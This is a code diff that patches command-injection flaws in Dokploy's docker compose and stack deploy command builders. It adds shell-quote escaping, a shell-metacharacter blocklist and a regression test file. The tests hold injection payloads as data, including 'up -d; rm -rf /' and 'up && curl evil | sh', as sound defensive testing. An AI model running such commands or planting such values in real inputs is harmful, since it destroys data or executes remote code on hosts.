- composePath / appName are now passed through shell-quote in createCommand, getCreateEnvFileCommand and services/compose.ts deploy commands, instead of being interpolated raw into 'docker compose'/'docker stack' shell commands. - compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now rejects shell control characters (; & | ` $ () {} <> newline), which a normal docker compose CLI line never contains, blocking breakout into host commands. Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw
Unified · Split
| @@ -0,0 +1,104 @@ | ||
| 1 | +import { execSync } from "node:child_process"; | |
| 2 | +import { existsSync, rmSync } from "node:fs"; | |
| 3 | +import { createCommand } from "@dokploy/server/utils/builders/compose"; | |
| 4 | +import { parse, quote } from "shell-quote"; | |
| 5 | +import { describe, expect, it } from "vitest"; | |
| 6 | + | |
| 7 | +const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`; | |
| 8 | + | |
| 9 | +const base = { | |
| 10 | + composeType: "docker-compose" as const, | |
| 11 | + appName: "compose-app", | |
| 12 | + sourceType: "raw" as const, | |
| 13 | + command: "", | |
| 14 | + composePath: "docker-compose.yml", | |
| 15 | +}; | |
| 16 | + | |
| 17 | +// createCommand output is interpolated as `docker ${command}` at the deploy | |
| 18 | +// sink; run `: ${command}` (docker -> no-op) and assert no injection fires. | |
| 19 | +const runsSafely = (command: string) => { | |
| 20 | + if (existsSync(MARK)) rmSync(MARK); | |
| 21 | + try { | |
| 22 | + execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" }); | |
| 23 | + } catch {} | |
| 24 | + const fired = existsSync(MARK); | |
| 25 | + if (existsSync(MARK)) rmSync(MARK); | |
| 26 | + return !fired; | |
| 27 | +}; | |
| 28 | + | |
| 29 | +const PAYLOADS = [ | |
| 30 | + `$(touch ${MARK})`, | |
| 31 | + "`touch " + MARK + "`", | |
| 32 | + `x; touch ${MARK}`, | |
| 33 | + `x | touch ${MARK}`, | |
| 34 | +]; | |
| 35 | + | |
| 36 | +describe("compose createCommand injection", () => { | |
| 37 | + it("escapes composePath (docker-compose)", () => { | |
| 38 | + for (const p of PAYLOADS) { | |
| 39 | + const cmd = createCommand({ | |
| 40 | + ...base, | |
| 41 | + sourceType: "github", | |
| 42 | + composePath: p, | |
| 43 | + } as any); | |
| 44 | + expect(runsSafely(cmd)).toBe(true); | |
| 45 | + } | |
| 46 | + }); | |
| 47 | + | |
| 48 | + it("escapes composePath (stack deploy)", () => { | |
| 49 | + for (const p of PAYLOADS) { | |
| 50 | + const cmd = createCommand({ | |
| 51 | + ...base, | |
| 52 | + composeType: "stack", | |
| 53 | + sourceType: "github", | |
| 54 | + composePath: p, | |
| 55 | + } as any); | |
| 56 | + expect(runsSafely(cmd)).toBe(true); | |
| 57 | + } | |
| 58 | + }); | |
| 59 | + | |
| 60 | + it("escapes appName", () => { | |
| 61 | + for (const p of PAYLOADS) { | |
| 62 | + const cmd = createCommand({ | |
| 63 | + ...base, | |
| 64 | + sourceType: "github", | |
| 65 | + appName: p, | |
| 66 | + composePath: "docker-compose.yml", | |
| 67 | + } as any); | |
| 68 | + expect(runsSafely(cmd)).toBe(true); | |
| 69 | + } | |
| 70 | + }); | |
| 71 | + | |
| 72 | + it("rejects a custom command containing shell control characters", () => { | |
| 73 | + for (const bad of [ | |
| 74 | + "up -d; rm -rf /", | |
| 75 | + "up && curl evil | sh", | |
| 76 | + "up $(touch x)", | |
| 77 | + "up `id`", | |
| 78 | + ]) { | |
| 79 | + expect(() => | |
| 80 | + createCommand({ ...base, command: bad } as any), | |
| 81 | + ).toThrow(/Invalid characters/); | |
| 82 | + } | |
| 83 | + }); | |
| 84 | + | |
| 85 | + it("allows a legitimate custom command", () => { | |
| 86 | + const cmd = createCommand({ | |
| 87 | + ...base, | |
| 88 | + command: "compose -f docker-compose.yml -p app up -d --build", | |
| 89 | + } as any); | |
| 90 | + expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build"); | |
| 91 | + }); | |
| 92 | + | |
| 93 | + it("keeps a legitimate composePath intact", () => { | |
| 94 | + const cmd = createCommand({ | |
| 95 | + ...base, | |
| 96 | + sourceType: "github", | |
| 97 | + composePath: "deploy/docker-compose.prod.yml", | |
| 98 | + } as any); | |
| 99 | + expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml"); | |
| 100 | + expect(quote(["deploy/docker-compose.prod.yml"])).toBe( | |
| 101 | + "deploy/docker-compose.prod.yml", | |
| 102 | + ); | |
| 103 | + }); | |
| 104 | +}); | |
| @@ -33,6 +33,7 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab"; · 32 unmodified lines | ||
| 33 | 33 | import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw"; |
| 34 | 34 | import { TRPCError } from "@trpc/server"; |
| 35 | 35 | import { eq } from "drizzle-orm"; |
| 36 | +import { quote } from "shell-quote"; | |
| 36 | 37 | import type { z } from "zod"; |
| 37 | 38 | import { encodeBase64 } from "../utils/docker/utils"; |
| 38 | 39 | import { getDokployUrl } from "./admin"; |
| @@ -472,7 +473,7 @@ export const startCompose = async (composeId: string) => { · 433 unmodified lines | ||
| 472 | 473 | const projectPath = join(COMPOSE_PATH, compose.appName, "code"); |
| 473 | 474 | const path = |
| 474 | 475 | compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath; |
| 475 | − const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`; | |
| 476 | + const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`; | |
| 476 | 477 | if (compose.composeType === "docker-compose") { |
| 477 | 478 | if (compose.serverId) { |
| 478 | 479 | await execAsyncRemote( |
| @@ -67,9 +67,20 @@ Compose Type: ${composeType} ✅`; · 66 unmodified lines | ||
| 67 | 67 | return bashCommand; |
| 68 | 68 | }; |
| 69 | 69 | |
| 70 | +// Shell control characters that must never appear in a user-provided compose | |
| 71 | +// command: they would let it break out of the `docker ${command}` invocation | |
| 72 | +// into arbitrary host commands. A normal docker compose CLI line never needs them. | |
| 73 | +const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/; | |
| 74 | + | |
| 70 | 75 | const sanitizeCommand = (command: string) => { |
| 71 | 76 | const sanitizedCommand = command.trim(); |
| 72 | 77 | |
| 78 | + if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) { | |
| 79 | + throw new Error( | |
| 80 | + "Invalid characters in compose command: shell control characters are not allowed", | |
| 81 | + ); | |
| 82 | + } | |
| 83 | + | |
| 73 | 84 | const parts = sanitizedCommand.split(/\s+/); |
| 74 | 85 | |
| 75 | 86 | const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1")); |
| @@ -88,9 +99,9 @@ export const createCommand = (compose: ComposeNested) => { · 12 unmodified lines | ||
| 88 | 99 | let command = ""; |
| 89 | 100 | |
| 90 | 101 | if (composeType === "docker-compose") { |
| 91 | − command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`; | |
| 102 | + command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`; | |
| 92 | 103 | } else if (composeType === "stack") { |
| 93 | − command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`; | |
| 104 | + command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`; | |
| 94 | 105 | } |
| 95 | 106 | |
| 96 | 107 | return command; |
| @@ -124,8 +135,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => { · 27 unmodified lines | ||
| 124 | 135 | |
| 125 | 136 | const encodedContent = encodeBase64(envFileContent); |
| 126 | 137 | return ` |
| 127 | −touch ${envFilePath}; | |
| 128 | −echo "${encodedContent}" | base64 -d > "${envFilePath}"; | |
| 138 | +touch ${quote([envFilePath])}; | |
| 139 | +echo "${encodedContent}" | base64 -d > ${quote([envFilePath])}; | |
| 129 | 140 | `; |
| 130 | 141 | }; |
| 131 | 142 | |